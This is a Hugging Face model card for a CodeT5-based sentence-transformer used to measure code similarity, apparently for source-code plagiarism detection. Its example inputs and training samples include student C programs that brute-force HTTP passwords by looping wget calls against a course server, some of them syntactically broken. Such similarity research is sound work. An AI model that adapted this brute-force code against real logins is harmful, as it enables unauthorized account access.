Modelpublic

buelfhood/SOCO-C-CodeT5Small-ST

sourceHugging Faceupdated 1y agoView on Hugging Face

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Model Card

SentenceTransformer based on Salesforce/codet5-small

This is a sentence-transformers model finetuned from Salesforce/codet5-small. It maps sentences & paragraphs to a 512-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

—Model Type: Sentence Transformer
—Base model: Salesforce/codet5-small
—Maximum Sequence Length: 512 tokens
—Output Dimensionality: 512 dimensions
—Similarity Function: Cosine Similarity

Model Sources

—Documentation: Sentence Transformers Documentation
—Repository: Sentence Transformers on GitHub
—Hugging Face: Sentence Transformers on Hugging Face

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'T5EncoderModel'})
  (1): Pooling({'word_embedding_dimension': 512, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

bash

pip install -U sentence-transformers

Then you can load this model and run inference.

python

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])

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Downstream Usage (Sentence Transformers)

You can finetune this model on your own dataset.

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Training Details

Training Dataset

Unnamed Dataset

—Size: 3,081 training samples
—Columns: <code>sentence0</code>, <code>sentence1</code>, and <code>label</code>
—Approximate statistics based on the first 1000 samples: | | sentence0 | sentence1 | label | |:--------|:--------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------| | type | string | string | int | | details | <ul><li>min: 187 tokens</li><li>mean: 451.04 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 187 tokens</li><li>mean: 434.1 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.20%</li><li>1: ~0.80%</li></ul> |
—Samples: | sentence0 | sentence1 | label | |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| | <code> #include <sys/stat.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/time.h> #define MSGFILE "msg" #define EMAILTO "@cs.rmit.edu." #define TRUE 1 #define FALSE 0 void genLog(char logFile, const char URL); void getPage(const char URL, const char fname); int getCurTime(); int logDiff(const char logFile, int time); int isFileExist(const char fname); void sendMail(const char emailTo, const char subject, const char msgFile , const char log); int (int argc, char *argv) { int time_var; char URL; int upTime = 0; char logFile[256]; int logSent = FALSE; char subject[256]; if (argc != 3) { fprintf(stderr, "\nUsage: ./WatchDog URL timeIntervalInSec\n"); exit(1); } else { timevar = atoi(argv[2]); URL = malloc(strlen(argv[1])); if (URL) { for (;;) { if (((int)difftime(upTime, getCurTime()) % timevar == 0) && !logSent) { strncpy(URL, argv[1], strlen(argv[1])); genLog(logFile, URL); ...</code> | <code>#include <string.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/wait.h> #include <sys/time.h> char joinMe(char t, char t2) { char result; int length = 0; int j = 0; int counter = 0; length = strlen(t) + strlen(t2) + 1; result = malloc(sizeof(char) length); for(j = 0; j<strlen(t); j++) { result[j] = t[j]; } for(j = strlen(t); j<length; j++) { result[j] = t2[counter]; counter++; } result[length-1] = '\0'; return result; } void check(char smallcmd) { int pid = 0; int status; if( (pid = fork()) == 0) { execvp(smallcmd[0],smallcmd); } else { while(wait(&status) != pid); } } int (void) { int i = 0, j = 0, k = 0; char smallcmd; int count = 0; FILE myFile,myFile2,myFile3; int compare1; char myString; int length = 0; int start1, end1; myString = malloc(sizeof(char) 100); smallcmd = malloc(sizeof(char ) 8); smallcmd[0] = "/usr/local//wget"; smallcm...</code> | <code>0</code> | | <code> #include <sys/stat.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/time.h> #define MSGFILE "msg" #define EMAILTO "@cs.rmit.edu." #define TRUE 1 #define FALSE 0 void genLog(char logFile, const char URL); void getPage(const char URL, const char fname); int getCurTime(); int logDiff(const char logFile, int time); int isFileExist(const char fname); void sendMail(const char emailTo, const char subject, const char msgFile , const char log); int (int argc, char *argv) { int time_var; char URL; int upTime = 0; char logFile[256]; int logSent = FALSE; char subject[256]; if (argc != 3) { fprintf(stderr, "\nUsage: ./WatchDog URL timeIntervalInSec\n"); exit(1); } else { timevar = atoi(argv[2]); URL = malloc(strlen(argv[1])); if (URL) { for (;;) { if (((int)difftime(upTime, getCurTime()) % timevar == 0) && !logSent) { strncpy(URL, argv[1], strlen(argv[1])); genLog(logFile, URL); ...</code> | <code>#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> int () { char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int a=0,b=0,c=0,d,e,count=0; char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50]; char result,result1,result2,mx[100],mx1,mx2,mx3,mx4; int ,end,t; = time(); while(sizeof(lc)!=52) { temp2[0]=lc[d]; temp2[1]='\0'; d=d+1; strcpy(p,temp2); while(sizeof(uc)!=52) { temp3[0]=uc[b]; temp3[1]='\0'; b=b+1; strcpy(q,p); strcat(q,temp3); for(e=0;e<52;e++) { temp1[0]=gc[e]; temp1[1]='\0'; strcpy(r,q); strcat(r,temp1); strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd="); strcat(mx,r); printf("temp3=%s\n",mx); if(sy...</code> | <code>0</code> | | <code>#include<stdio.h> #include<stdlib.h> #include<unistd.h> #define TRUE 0 () { FILE fp; system("rmdir ./www.cs.rmit.edu."); char chk[1]; strcpy(chk,"n"); while(1) { system("wget -p http://www.cs.rmit.edu./students/"); system("md5sum ./www.cs.rmit.edu./images/. > ./www.cs.rmit.edu./text1.txt"); if (strcmp(chk,"n")==0) { system("mv ./www.cs.rmit.edu./text1.txt ./text2.txt"); system("mkdir ./"); system("mv ./www.cs.rmit.edu./students/index.html ./"); } else { system(" diff ./www.cs.rmit.edu./students/index.html .//index.html | mail @cs.rmit.edu. "); system(" diff ./www.cs.rmit.edu./text1.txt ./text2.txt | mail @cs.rmit.edu. "); system("mv ./www.cs.rmit.edu./students/index.html ./"); system("mv ./www.cs.rmit.edu./text1.txt ./text2.txt"); } sleep(86400); strcpy(chk,"y"); } } </code> | <code>#include <string.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/wait.h> #include <sys/time.h> void emptyFile(char name) { FILE myFile; myFile = fopen(name,"w"); fclose(myFile); } int (void) { FILE myFile; char myString; myString = malloc(sizeof(char ) 100); emptyFile(".old.html"); emptyFile(".new.html"); system("wget -O .old.html -q http://www.cs.rmit.edu./students/"); while(1) { emptyFile(".new.html"); system("wget -O .new.html -q http://www.cs.rmit.edu./students/"); system("diff .old.html .new.html > watch.txt"); myFile = fopen("watch.txt","r"); if(myFile != (FILE) NULL) { fgets(myString,100,myFile); if(strlen(myString) > 0) { system("mail @cs.rmit.edu. < watch.txt"); system("cp .new.html .old.html"); } } sleep(6060*24); } return 1; } </code> | <code>0</code> |
—Loss: <code>BatchAllTripletLoss</code>

Training Hyperparameters

Non-Default Hyperparameters

—per_device_train_batch_size: 16
—per_device_eval_batch_size: 16
—num_train_epochs: 1
—fp16: True
—multi_dataset_batch_sampler: round_robin

All Hyperparameters

<details><summary>Click to expand</summary>

—overwrite_output_dir: False
—do_predict: False
—eval_strategy: no
—prediction_loss_only: True
—per_device_train_batch_size: 16
—per_device_eval_batch_size: 16
—per_gpu_train_batch_size: None
—per_gpu_eval_batch_size: None
—gradient_accumulation_steps: 1
—eval_accumulation_steps: None
—torch_empty_cache_steps: None
—learning_rate: 5e-05
—weight_decay: 0.0
—adam_beta1: 0.9
—adam_beta2: 0.999
—adam_epsilon: 1e-08
—max_grad_norm: 1
—num_train_epochs: 1
—max_steps: -1
—lr_scheduler_type: linear
—lr_scheduler_kwargs: {}
—warmup_ratio: 0.0
—warmup_steps: 0
—log_level: passive
—log_level_replica: warning
—log_on_each_node: True
—logging_nan_inf_filter: True
—save_safetensors: True
—save_on_each_node: False
—save_only_model: False
—restore_callback_states_from_checkpoint: False
—no_cuda: False
—use_cpu: False
—use_mps_device: False
—seed: 42
—data_seed: None
—jit_mode_eval: False
—use_ipex: False
—bf16: False
—fp16: True
—fp16_opt_level: O1
—half_precision_backend: auto
—bf16_full_eval: False
—fp16_full_eval: False
—tf32: None
—local_rank: 0
—ddp_backend: None
—tpu_num_cores: None
—tpu_metrics_debug: False
—debug: []
—dataloader_drop_last: False
—dataloader_num_workers: 0
—dataloader_prefetch_factor: None
—past_index: -1
—disable_tqdm: False
—remove_unused_columns: True
—label_names: None
—load_best_model_at_end: False
—ignore_data_skip: False
—fsdp: []
—fsdp_min_num_params: 0
—fsdp_config: {'minnumparams': 0, 'xla': False, 'xlafsdpv2': False, 'xlafsdpgrad_ckpt': False}
—fsdp_transformer_layer_cls_to_wrap: None
—accelerator_config: {'splitbatches': False, 'dispatchbatches': None, 'evenbatches': True, 'useseedablesampler': True, 'nonblocking': False, 'gradientaccumulationkwargs': None}
—deepspeed: None
—label_smoothing_factor: 0.0
—optim: adamw_torch
—optim_args: None
—adafactor: False
—group_by_length: False
—length_column_name: length
—ddp_find_unused_parameters: None
—ddp_bucket_cap_mb: None
—ddp_broadcast_buffers: False
—dataloader_pin_memory: True
—dataloader_persistent_workers: False
—skip_memory_metrics: True
—use_legacy_prediction_loop: False
—push_to_hub: False
—resume_from_checkpoint: None
—hub_model_id: None
—hub_strategy: every_save
—hub_private_repo: None
—hub_always_push: False
—gradient_checkpointing: False
—gradient_checkpointing_kwargs: None
—include_inputs_for_metrics: False
—include_for_metrics: []
—eval_do_concat_batches: True
—fp16_backend: auto
—push_to_hub_model_id: None
—push_to_hub_organization: None
—mp_parameters:
—auto_find_batch_size: False
—full_determinism: False
—torchdynamo: None
—ray_scope: last
—ddp_timeout: 1800
—torch_compile: False
—torch_compile_backend: None
—torch_compile_mode: None
—include_tokens_per_second: False
—include_num_input_tokens_seen: False
—neftune_noise_alpha: None
—optim_target_modules: None
—batch_eval_metrics: False
—eval_on_start: False
—use_liger_kernel: False
—eval_use_gather_object: False
—average_tokens_across_devices: False
—prompts: None
—batch_sampler: batch_sampler
—multi_dataset_batch_sampler: round_robin
—router_mapping: {}
—learning_rate_mapping: {}

</details>

Framework Versions

—Python: 3.11.13
—Sentence Transformers: 5.0.0
—Transformers: 4.52.4
—PyTorch: 2.6.0+cu124
—Accelerate: 1.8.1
—Datasets: 3.6.0
—Tokenizers: 0.21.2

Citation

BibTeX

Sentence Transformers

bibtex

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

bibtex

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}

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